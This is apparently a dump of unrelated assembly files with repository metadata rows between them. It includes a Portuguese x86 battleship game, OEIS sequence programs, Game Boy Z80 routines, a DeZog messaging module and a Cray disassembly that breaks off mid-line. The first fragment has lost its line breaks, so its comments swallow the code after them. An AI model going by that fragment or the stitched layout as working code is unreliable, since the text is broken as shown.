_letra_para_valor: SUB AL, 64 ret ;------------------------------------------------------------- ; Checa se o disparo acertou algo ; Logica: ; ; Se AL for maior que 46(const_posicao_tiro_feito) e menor que 178(const_agua_atingida) ; quer dizer que acertou algo ; ; O retorno e feito no registrador AL ; caso retorne 1 -> quer dizer que acertou ; caso retorne 0 -> quer dizer que nao acertou nada _acertou_algo: CMP AL, const_posicao_tiro_feito ; SE AL <= PULA JLE __aa_nao_acertou CMP AL, const_agua_atingida ; SE AL >= PULA JLE __aa_nao_acertou mov al, 1 ret __aa_nao_acertou: mov al, 0 ret ; Interface grafica ---------------------------------------- ; Posiciona na posicao X Y setadas nas variaveis posX e posY _gotoXY: push ax push bx mov ax, posY mov bl, 160 dec ax mul bl mov bx, posX dec bx add ax, bx add ax, bx mov posicao, ax mov di, ax pop bx pop ax ret ; Desenha tabuleiro (setar variavel "var_tabuleiro" para o tabuleiro desejado (1 ou 2)) _desenha_tabuleiro: push ax push bx push cx mov ah, orientacao_escrita ; Salva orientacao cmp var_tabuleiro, 1 jne __dt_pos_tabuleiro2 mov posX, const_tabuleiro1_x mov posY, const_tabuleiro1_y mov bx, offset var_status_tabuleiro1 jmp __dt_pos_fim __dt_pos_tabuleiro2: mov posX, const_tabuleiro2_x mov posY, const_tabuleiro2_y mov bx, offset var_status_tabuleiro2 __dt_pos_fim: call _gotoXY push posX push posY mov cx, const_numero_colunas mov al, const_char_inicio_colunas mov orientacao_escrita, const_horizontal call _escreve_espaco dt_loop_cols: call _escreve_char inc al loop dt_loop_cols pop posY pop posX push posX push posY inc posY call _gotoXY mov cx, const_numero_linhas mov al, const_char_inicio_linhas mov orientacao_escrita, const_vertical dt_loop_rows: call _escreve_char inc al loop dt_loop_rows pop posY pop posX inc posX mov cx, posX inc posY call _gotoXY mov si, bx mov bx, 0 mov orientacao_escrita, const_horizontal __dt_stat_loop_linhas: __dt_stat_loop_cols: mov al, bl mul bh push si add si, ax mov al, [si] call _escreve_char pop si inc bh cmp bh, const_numero_colunas jl __dt_stat_loop_cols mov posX, cx inc posY call _gotoXY mov bh, 0 inc bl cmp bl, const_numero_linhas jl __dt_stat_loop_linhas mov orientacao_escrita, ah; Restaura orientacao pop cx pop bx pop ax ret ;----------------------------------------------------------- ; Desenha objeto considerando as variaveis: ; - posX: posicao aonde sera desenhado no X do tabuleiro (1 ate 8 neste caso) ; - posY: posicao aonde sera desenhado no Y do tabuleiro (1 ate 8 neste caso) ; - var_objeto: define qual objeto desenhar (ver constantes) ; - orientacao_escrita: define a orientacao do desenho (ver constantes) ; - var_tabuleiro: tabuleiro onde sera inserida a embarcacao _desenha_objeto: ; Posiciona no tabuleiro push posX push posY cmp var_tabuleiro, 1 jne __do_pos_tabuleiro_2 add posX, const_tabuleiro1_x add posY, const_tabuleiro1_y jmp __do_pos __do_pos_tabuleiro_2: add posX, const_tabuleiro2_x add posY, const_tabuleiro2_y __do_pos: call _gotoXY pop posY pop posX ; Fim do posicionamento push si ; Checa barril cmp var_objeto, const_objeto_barril JNE __do_pula_barril mov si, offset const_barril_arr jmp __db_fim __do_pula_barril: cmp orientacao_escrita, const_horizontal JNE __db_orientacao_vertical: ; Checa bote cmp var_objeto, const_objeto_bote JNE __do_pula_bote_horizontal mov si, offset const_bote_horizontal jmp __db_fim __do_pula_bote_horizontal: ; Checa lancha cmp var_objeto, const_objeto_lancha JNE __do_pula_lancha_horizontal mov si, offset const_lancha_horizontal jmp __db_fim __do_pula_lancha_horizontal: ;Se nao for nenhum, e barcaca mov si, offset const_barcaca_horizontal jmp __db_fim __db_orientacao_vertical: ; Checa bote cmp var_objeto, const_objeto_bote JNE __do_pula_bote_vertical mov si, offset const_bote_vertical jmp __db_fim __do_pula_bote_vertical: ; Checa lancha cmp var_objeto, const_objeto_lancha JNE __do_pula_lancha_vertical mov si, offset const_lancha_vertical jmp __db_fim __do_pula_lancha_vertical: ;Se nao for nenhum, e barcaca mov si, offset const_barcaca_vertical __db_fim: push si call _escreve_vetor_char pop si ; Fim do desenha em tela ; Escreve na memoria push di push ax push bx mov ax, posY dec ax mov bx, const_numero_linhas mul bx add ax, posX dec ax cmp var_tabuleiro, 1 jne __do_mem_tabuleiro2 add ax, offset var_status_tabuleiro1 mov di, ax call _escreve_vetor_char_mem __do_mem_tabuleiro2: ; Fim da escrita em memoria pop bx pop ax pop di pop si ret ;----------------------------------------------------------- ; Escreve um ' ' na posicao atual _escreve_espaco: push ax mov al, ' ' call _escreve_char pop ax ret ; Escreve char que esta no registrador AL em tela _escreve_char: MOV ES:[DI], AL ; ESCREVE CARACTER MOV ES:[DI+1], 00011111b ;10101110b ; ESCREVE ATRIBUTO CMP orientacao_escrita, const_horizontal JNE __ec_orientacao_vertical: ADD DI, 2 ret __ec_orientacao_vertical: ADD DI, 160 ret _escreve_vetor_char: MOV AL, [SI] CMP AL, 0 JZ __ev_fim call _escreve_char INC SI JNZ _escreve_vetor_char __ev_fim: ret ; Escreve char que esta no registrador AL em memoria ; Escreve no endereco de DI _escreve_char_memoria: MOV [DI], AL ; ESCREVE CARACTER CMP orientacao_escrita, const_horizontal JNE __ecm_orientacao_vertical: ADD DI, 1 ret __ecm_orientacao_vertical: ADD DI, const_numero_colunas ret ; Escreve vetor do SI no DI _escreve_vetor_char_mem: MOV AL, [SI] CMP AL, 0 JZ __evcm_fim call _escreve_char_memoria INC SI JNZ _escreve_vetor_char_mem __evcm_fim: ret
22.367574
110
0.585127
f1238603746a0918975bcb6cee52e92817620864
633
asm
Assembly
oeis/310/A310499.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
null
null
null
oeis/310/A310499.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
null
null
null
oeis/310/A310499.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
null
null
null
; A310499: Coordination sequence Gal.6.351.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Simon Strandgaard ; 1,4,10,16,20,25,31,36,40,46,52,56,60,66,72,76,81,87,92,96,102,108,112,116,122,128,132,137,143,148,152,158,164,168,172,178,184,188,193,199,204,208,214,220,224,228,234,240,244,249 mov $1,$0 mul $1,3 seq $1,311523 ; Coordination sequence Gal.6.119.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $2,$0 mul $2,8 sub $1,$2 mov $0,$1
52.75
182
0.739336
f81d03dc82b4182e6d232d61b3d9683c95962bd2
712
asm
Assembly
programs/oeis/087/A087116.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/087/A087116.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/087/A087116.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A087116: Number of maximal groups of consecutive zeros in binary representation of n. ; 1,0,1,0,1,1,1,0,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,1,1,2,1,1,1,1,0,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,3,3,4,3,3,3,3,2,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,2,2,3,2,3,3,3,2,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,2,2,3,2,2,2,2,1,1,1,2,1,2,2,2,1,1,1 mov $2,$0 gcd $2,2 cal $0,37800 ; Number of occurrences of 01 in the binary expansion of n. mov $1,$0 add $1,$2 sub $1,1
71.2
501
0.563202
254fbb8a2319a4e9f8bba2670f03281ec1e52053
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_mpd0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_mpd0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_mpd0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_mpd0.asm Type: file Size: 194706 Last-Modified: '2016-05-13T04:23:03Z' SHA-1: D805A3CAFD7740B8EF11B0247260A8C953EE405D Description: null
21
47
0.816327
9cc045e3a81ca41d513e669e9de4ace1eaf51186
886
asm
Assembly
oeis/238/A238649.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/238/A238649.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/238/A238649.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A238649: Number of (n+2) X (3+2) 0..1 arrays with no element equal to all horizontal neighbors or equal to all vertical neighbors, and new values 0..1 introduced in row major order. ; Submitted by Jon Maiga ; 3,18,51,189,630,2187,7473,25692,88119,302511,1038144,3563151,12228903,41971050,144048471,494389041,1696791534,5823557223,19987023645,68597444364,235433215419,808030095435,2773239244320,9518031521451,32666826049083,112115779609986,384792450221067,1320645766970613,4532586958997478,15556286973238035,53390716291242393,183242221681704348,628905437860623183,2158465697156530071,7408067867324933664,25425221998750813335,87261877896265671807,299491400089128880218,1027884121792261185807 add $0,1 lpb $0 sub $0,1 add $1,$3 add $1,$3 add $2,$5 add $1,$2 add $4,$2 add $4,3 mov $5,$4 mov $4,$2 mov $2,$3 add $4,$1 add $1,$5 mov $3,$5 lpe mov $0,$4 add $0,3
38.521739
482
0.774266
09b0c37578c7cbea80c4e73a8409995364c5f065
400
asm
Assembly
programs/oeis/063/A063219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/063/A063219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/063/A063219.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A063219: Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 53 ). ; 4,13,21,31,39,47,57,65,73,83,91,99,109,117,125,135,143,151,161,169,177,187,195,203,213,221,229,239,247,255,265,273,281,291,299,307,317,325,333,343,351,359,369,377,385,395,403,411,421,429 mov $1,$0 mul $0,2 add $0,1 seq $1,63209 ; Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 41 ). add $0,$1
44.444444
188
0.7175
fe5fa1412b45a97a138a919e773031321665120d
188
asm
Assembly
programs/oeis/262/A262588.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/262/A262588.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/262/A262588.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A262588: Duplicate of A193140. ; 0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,0,1 add $0,1 seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n. dif $0,2 sub $0,1 mod $0,2
20.888889
77
0.62766
849f902d76ec8dd898b595110bd44eef08472546
8,007
asm
Assembly
src/message.asm
maziac/dezogif
e92f6a0e21ac6b465349e193417e3f19721f763d
[ "MIT" ]
2
2020-05-25T09:25:46.000Z
2020-12-30T10:43:58.000Z
src/message.asm
maziac/dezogif
e92f6a0e21ac6b465349e193417e3f19721f763d
[ "MIT" ]
null
null
null
src/message.asm
maziac/dezogif
e92f6a0e21ac6b465349e193417e3f19721f763d
[ "MIT" ]
null
null
null
;=========================================================================== ; message.asm ; ; Sending and receiving of complete messages. ; Receiving: ; Once the first byte has been detected the other operation is stopped ; and the complete message is received in 'receive_message'. ; Once all bytes have been received the subroutine returns. ; Sending: ; The 'send_message' subroutine will send all bytes and only return after ; the last sent byte. ;=========================================================================== ;=========================================================================== ; Constants ;=========================================================================== ; Each sent message has to start with this byte. ; The ZX Next transmit a lot of zeroes if the joy port is not configured. ; Therefore this byte is required to recognize when a message starts. MESSAGE_START_BYTE: equ 0xA5 ;=========================================================================== ; Structs. ;=========================================================================== ; CMD_SET_REG STRUCT PAYLOAD_SET_REG register_number defb register_value defw ENDS ; CMD_ADD_BREAKPOINT STRUCT PAYLOAD_ADD_BREAKPOINT bp_address defw ENDS ; CMD_REMOVE_BREAKPOINT STRUCT PAYLOAD_REMOVE_BREAKPOINT bp_id defw ENDS ; CMD_CONTINUE STRUCT PAYLOAD_CONTINUE bp1_enable defb bp1_address defw bp2_enable defb bp2_address defw alternate_command defb range_start defw range_end defw ENDS ; CMD_READ_MEM STRUCT PAYLOAD_READ_MEM reserved defb mem_start defw mem_size defw ENDS ; CMD_WRITE_MEM STRUCT PAYLOAD_WRITE_MEM reserved defb mem_start defw ENDS ; CMD_SET_SLOT STRUCT PAYLOAD_SET_SLOT slot defb bank defb ENDS ;=========================================================================== ; Starts the command loop. I.e. backups all registers. ; Interpretes the last received message. ; Stays in command loop waiting for the next message until ; receiving a CONTINUE message. ; Changes: ; -, At the end the registers are restored. ;=========================================================================== cmd_loop: ; Wait on next command call wait_for_uart_rx ; Receive length sequence number and command ld hl,receive_buffer ld de,receive_buffer.payload-receive_buffer call receive_bytes ;ld a,BLUE ;out (BORDER),a ; Handle command call cmd_call jr cmd_loop /* ;=========================================================================== ; Executes available commands and leaves the loop as soon as no commands ; are available anymore. ; Immediately returns if no message is available. ;=========================================================================== execute_cmds_loop: call check_uart_byte_available ret z .loop: ; Receive length sequence number and command ld hl,receive_buffer ld de,receive_buffer.payload-receive_buffer call receive_bytes ;ld a,BLUE ;out (BORDER),a ; Handle command call cmd_call ; Check for some time to see if another command is available ld de,256*200 .wait: push de call check_uart_byte_available pop de jr nz,.loop dec de ld a,d or e jr nz,.wait ret */ ;=========================================================================== ; Receives a number of bytes from the UART. ; The received bytes are written at HL. ; Parameter: ; HL = pointer to the buffer to write to. ; DE = number of bytes to receive. ; Returns: ; - ; Changes: ; A, HL, DE, BC ;=========================================================================== receive_bytes: .loop: push de ; Get byte call read_uart_byte ; Store ldi (hl),a ;out (BORDER),a pop de dec de ld a,e or d jr nz,.loop ret /* ;=========================================================================== ; Once the first byte has been detected this function should be called. ; The subroutine does not return before all bytes of the message have been ; received. ; Returns: ; receive_buffer contains the received message. The first 2 bytes of ; receive_buffer contain the length. ; Changes: ; A, HL, DE, BC ;=========================================================================== receive_message: ld hl,receive_buffer ; Receive the length, 2 bytes: ; Get first byte call read_uart_byte ; Store ldi (hl),a ; Get second byte call read_uart_byte ; Store ldi (hl),a ; Receive the rest ld de,(receive_buffer.length) .loop: ; Check if all bytes received ld a,e or d ret z ; all bytes received ; Get next byte call read_uart_byte ; Store ldi (hl),a ; Next dec de jr .loop */ /* ;=========================================================================== ; Once the first byte has been detected this function should be called. ; The subroutine does not return before all bytes of the message have been ; received. ; Parameter: ; HL = Pointer to the message to send. The 2 fist bytes of the message are ; the length. ; Returns: ; - ; Changes: ; A, HL, BC ;=========================================================================== send_message: ; Get length ; First length byte ldi a,(hl) ld e,a ; Write to UART call write_uart_byte ; Second length byte ldi a,(hl) ld d,a ; Write to UART call write_uart_byte ; DE contains the length .loop: ld a,e or d ret z ; Return if all bytes are sent ; Get next byte ldi a,(hl) ; Write to UART call write_uart_byte ; Next dec de jr .loop */ ;=========================================================================== ; Sends the length and the sequence number. ; The sequence number is taken directly from the receive_buffer. ; Important: Use only for lengths up to 65536. ; Parameter: ; DE = Length. ; Returns: ; - ; Changes: ; A, DE, BC, HL=0 ;=========================================================================== send_length_and_seqno: ; Store Length MSB=0 ld hl,0 ; jp send_4bytes_length_and_seqno ; Flow through ;=========================================================================== ; Sends a 4 bytes length and the sequence number. ; The sequence number is taken directly from the receive_buffer. ; Important: Use only for lengths up to 65536. ; Parameter: ; HL/DE = Length. HL=MSB, DE=LSB ; Returns: ; - ; Changes: ; A, DE, BC ;=========================================================================== send_4bytes_length_and_seqno: ; Write first byte to recognize message ld a,MESSAGE_START_BYTE call write_uart_byte ; First length byte ld a,e ; Write to UART call write_uart_byte ; Second length byte ld a,d ; Write to UART call write_uart_byte ; Third length byte ld a,l ; Write to UART call write_uart_byte ; Fourth length byte ld a,h ; Write to UART call write_uart_byte ; Sequence number ld a,(receive_buffer.seq_no) jp write_uart_byte ;=========================================================================== ; Sends a NTF_PAUSE notification ; Parameter: ; D = break reason: ; 0 = no reason (e.g. a step-over) ; 1 = manual break ; 2 = breakpoint hit ; HL = breakpoint address that was hit (if D!=0). ; Note: The breakpoint address is a 64k address. The routine will look up ; the right bank by itself and send a long address. ; Returns: ; - ; Changes: ; A, E, BC ;=========================================================================== send_ntf_pause: ; LOGPOINT [CMD] send_ntf_pause: reason=${D}, breakpoint=${HL:hex}h (${HL}) ; Change main state ld a,PRGM_STOPPED ld (prgm_state),a ; Write first byte to recognize message ld a,MESSAGE_START_BYTE call write_uart_byte ; First length byte ld a,7 call write_uart_byte ; Rest of length + seqno=0 xor a ld e,4 .loop: call write_uart_byte dec e jr nz,.loop ; NTF_PAUSE id ld a,1 ; NTF_PAUSE call write_uart_byte ; Breakpoint reason ld a,d call write_uart_byte ; Breakpoint ld a,l call write_uart_byte ld a,h call write_uart_byte ; Bank rlca : rlca : rlca ; Get slot and 0111b add REG_MMU call read_tbblue_reg inc a ; bank+1 call write_uart_byte ; Empty reason string xor a jp write_uart_byte
22.942693
76
0.580867
018986cf28feb65c4679109a1340fbf12e460f4b
1,997
asm
Assembly
home/copy2.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
home/copy2.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
home/copy2.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
CopyBytes:: ; copy bc bytes from hl to de inc b ; we bail the moment b hits 0, so include the last run inc c ; same thing; include last byte jr .HandleLoop .CopyByte: ld a, [hli] ld [de], a inc de .HandleLoop: dec c jr nz, .CopyByte dec b jr nz, .CopyByte ret SwapBytes:: ; swap bc bytes between hl and de .Loop: ; stash [hl] away on the stack ld a, [hl] push af ; copy a byte from [de] to [hl] ld a, [de] ld [hli], a ; retrieve the previous value of [hl]; put it in [de] pop af ld [de], a inc de ; handle loop stuff dec bc ld a, b or c jr nz, .Loop ret ByteFill:: ; fill bc bytes with the value of a, starting at hl inc b ; we bail the moment b hits 0, so include the last run inc c ; same thing; include last byte jr .HandleLoop .PutByte: ld [hli], a .HandleLoop: dec c jr nz, .PutByte dec b jr nz, .PutByte ret GetFarByte:: ; retrieve a single byte from a:hl, and return it in a. ; bankswitch to new bank ldh [hBuffer], a ldh a, [hROMBank] push af ldh a, [hBuffer] rst Bankswitch ; get byte from new bank ld a, [hl] ldh [hBuffer], a ; bankswitch to previous bank pop af rst Bankswitch ; return retrieved value in a ldh a, [hBuffer] ret GetFarHalfword:: ; retrieve a halfword from a:hl, and return it in hl. ; bankswitch to new bank ldh [hBuffer], a ldh a, [hROMBank] push af ldh a, [hBuffer] rst Bankswitch ; get halfword from new bank, put it in hl ld a, [hli] ld h, [hl] ld l, a ; bankswitch to previous bank and return pop af rst Bankswitch ret FarCopyWRAM:: ldh [hBuffer], a ldh a, [rSVBK] push af ldh a, [hBuffer] ldh [rSVBK], a call CopyBytes pop af ldh [rSVBK], a ret GetFarWRAMByte:: ldh [hBuffer], a ldh a, [rSVBK] push af ldh a, [hBuffer] ldh [rSVBK], a ld a, [hl] ldh [hBuffer], a pop af ldh [rSVBK], a ldh a, [hBuffer] ret GetFarWRAMWord:: ldh [hBuffer], a ldh a, [rSVBK] push af ldh a, [hBuffer] ldh [rSVBK], a ld a, [hli] ld h, [hl] ld l, a pop af ldh [rSVBK], a ret
15.128788
61
0.651978
46838fd6b7d94a1b916f5a846119c920ebb2769f
2,061
asm
Assembly
src/lib/rng.asm
NEPETAISCUTE/simon-gameboy
70528c4326208616613b8c777bc9952616d8380b
[ "MIT" ]
1
2021-06-18T11:22:16.000Z
2021-06-18T11:22:16.000Z
src/lib/rng.asm
NEPETAISCUTE/simon-gameboy
70528c4326208616613b8c777bc9952616d8380b
[ "MIT" ]
null
null
null
src/lib/rng.asm
NEPETAISCUTE/simon-gameboy
70528c4326208616613b8c777bc9952616d8380b
[ "MIT" ]
null
null
null
; ; Pseudorandom number generator ; ; Copyright 2018, 2020 Damian Yerrick ; ; This software is provided 'as-is', without any express or implied ; warranty. In no event will the authors be held liable for any damages ; arising from the use of this software. ; ; Permission is granted to anyone to use this software for any purpose, ; including commercial applications, and to alter it and redistribute it ; freely, subject to the following restrictions: ; ; 1. The origin of this software must not be misrepresented; you must not ; claim that you wrote the original software. If you use this software ; in a product, an acknowledgment in the product documentation would be ; appreciated but is not required. ; 2. Altered source versions must be plainly marked as such, and must not be ; misrepresented as being the original software. ; 3. This notice may not be removed or altered from any source distribution. ; section "rand_ram",WRAM0 randstate: ds 4 ; The formula is ; x[i + 1] = (x[i] + 0xB3) * 0x01010101 ; or equivalently ; x[i + 1] = x[i] * 0x01010101 + 0xB3B3B3B3 ; Prior to cc65 commit 3994fee595 it was ; x[i + 1] = x[i] * 0x01010101 + 0x31415927 section "rand",ROM0 ;; ; Generates a pseudorandom 16-bit integer in BC ; using the LCG formula from cc65 rand(): ; x[i + 1] = x[i] * 0x01010101 + 0xB3B3B3B3 ; @return A=B=state bits 31-24 (which have the best entropy), ; C=state bits 23-16, DHL trashed rand:: ; Add 0xB3 then multiply by 0x01010101 ld hl, randstate+0 ld a, [hl] add a, $B3 ld [hl+], a adc a, [hl] ld [hl+], a adc a, [hl] ld [hl+], a ld c, a adc a, [hl] ld [hl], a ld b, a ret ;; ; Sets the random seed to BC. ; C expects startup code to behave as if srand(1) was called. ; AHL trashed srand:: ld hl,randstate+3 xor a ld [hl-],a ld [hl-],a ld a,b ld [hl-],a ld [hl],c ret ; ; According to tools/rand.py, after srand(1) then ten rand() calls, ; first ten BC results should be ; b4b4 85d1 8e08 9b0d 2d92 ; 794b 64eb 8a25 35ab 6731 ; Verify this with SHOW_RNG in placeholder.z80
27.118421
76
0.694808
d5aa7026ccc777c87f41488ba8d145410c205fdf
32,240
asm
Assembly
target/cos_117/disasm/iop_overlay1/ASDOUT.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
49
2020-10-09T12:29:16.000Z
2022-03-12T02:33:35.000Z
target/cos_117/disasm/iop_overlay1/ASDOUT.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
1
2021-12-29T15:59:25.000Z
2021-12-29T15:59:25.000Z
target/cos_117/disasm/iop_overlay1/ASDOUT.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
6
2021-04-12T06:10:32.000Z
2022-02-08T23:11:19.000Z
0x0000 (0x000000) 0x1025- f:00010 d: 37 | A = 37 (0x0025) 0x0001 (0x000002) 0x292A- f:00024 d: 298 | OR[298] = A 0x0002 (0x000004) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0003 (0x000006) 0x292B- f:00024 d: 299 | OR[299] = A 0x0004 (0x000008) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0005 (0x00000A) 0x292C- f:00024 d: 300 | OR[300] = A 0x0006 (0x00000C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0007 (0x00000E) 0x292D- f:00024 d: 301 | OR[301] = A 0x0008 (0x000010) 0x1084- f:00010 d: 132 | A = 132 (0x0084) 0x0009 (0x000012) 0x292E- f:00024 d: 302 | OR[302] = A 0x000A (0x000014) 0x211C- f:00020 d: 284 | A = OR[284] 0x000B (0x000016) 0x292F- f:00024 d: 303 | OR[303] = A 0x000C (0x000018) 0x211D- f:00020 d: 285 | A = OR[285] 0x000D (0x00001A) 0x2930- f:00024 d: 304 | OR[304] = A 0x000E (0x00001C) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x000F (0x00001E) 0x2931- f:00024 d: 305 | OR[305] = A 0x0010 (0x000020) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0011 (0x000022) 0x2932- f:00024 d: 306 | OR[306] = A 0x0012 (0x000024) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0013 (0x000026) 0x5800- f:00054 d: 0 | B = A 0x0014 (0x000028) 0x1800-0x2518 f:00014 d: 0 | A = 9496 (0x2518) 0x0016 (0x00002C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0017 (0x00002E) 0x1026- f:00010 d: 38 | A = 38 (0x0026) 0x0018 (0x000030) 0x292A- f:00024 d: 298 | OR[298] = A 0x0019 (0x000032) 0x211C- f:00020 d: 284 | A = OR[284] 0x001A (0x000034) 0x292B- f:00024 d: 299 | OR[299] = A 0x001B (0x000036) 0x211D- f:00020 d: 285 | A = OR[285] 0x001C (0x000038) 0x292C- f:00024 d: 300 | OR[300] = A 0x001D (0x00003A) 0x211E- f:00020 d: 286 | A = OR[286] 0x001E (0x00003C) 0x292D- f:00024 d: 301 | OR[301] = A 0x001F (0x00003E) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0020 (0x000040) 0x292E- f:00024 d: 302 | OR[302] = A 0x0021 (0x000042) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0022 (0x000044) 0x292F- f:00024 d: 303 | OR[303] = A 0x0023 (0x000046) 0x112A- f:00010 d: 298 | A = 298 (0x012A) 0x0024 (0x000048) 0x5800- f:00054 d: 0 | B = A 0x0025 (0x00004A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0026 (0x00004C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0027 (0x00004E) 0x211E- f:00020 d: 286 | A = OR[286] 0x0028 (0x000050) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x0029 (0x000052) 0x2908- f:00024 d: 264 | OR[264] = A 0x002A (0x000054) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x002B (0x000056) 0x2920- f:00024 d: 288 | OR[288] = A 0x002C (0x000058) 0x211E- f:00020 d: 286 | A = OR[286] 0x002D (0x00005A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x002E (0x00005C) 0x2908- f:00024 d: 264 | OR[264] = A 0x002F (0x00005E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0030 (0x000060) 0x2921- f:00024 d: 289 | OR[289] = A 0x0031 (0x000062) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0032 (0x000064) 0x2923- f:00024 d: 291 | OR[291] = A 0x0033 (0x000066) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0034 (0x000068) 0x2924- f:00024 d: 292 | OR[292] = A 0x0035 (0x00006A) 0x211E- f:00020 d: 286 | A = OR[286] 0x0036 (0x00006C) 0x290E- f:00024 d: 270 | OR[270] = A 0x0037 (0x00006E) 0x1004- f:00010 d: 4 | A = 4 (0x0004) 0x0038 (0x000070) 0x290D- f:00024 d: 269 | OR[269] = A 0x0039 (0x000072) 0x210D- f:00020 d: 269 | A = OR[269] 0x003A (0x000074) 0x8406- f:00102 d: 6 | P = P + 6 (0x0040), A = 0 0x003B (0x000076) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x003C (0x000078) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x003D (0x00007A) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1 0x003E (0x00007C) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1 0x003F (0x00007E) 0x7206- f:00071 d: 6 | P = P - 6 (0x0039) 0x0040 (0x000080) 0x211E- f:00020 d: 286 | A = OR[286] 0x0041 